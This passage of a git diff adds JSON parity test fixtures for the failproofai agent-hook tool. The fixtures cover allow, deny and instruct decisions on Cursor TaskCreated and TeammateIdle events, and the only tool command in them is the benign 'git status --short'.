"transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..32324e03 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..89f9e2a9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d44bbdef --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2158ea06 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4c3bd668 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5844ed9f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..964100dc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4a1afe69 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5660f37f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0856872d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a240406f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..65ae801b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d1e6ca50 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9284aa4d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4cbb648a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d540c23d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ac1b70c7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c504c0c1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 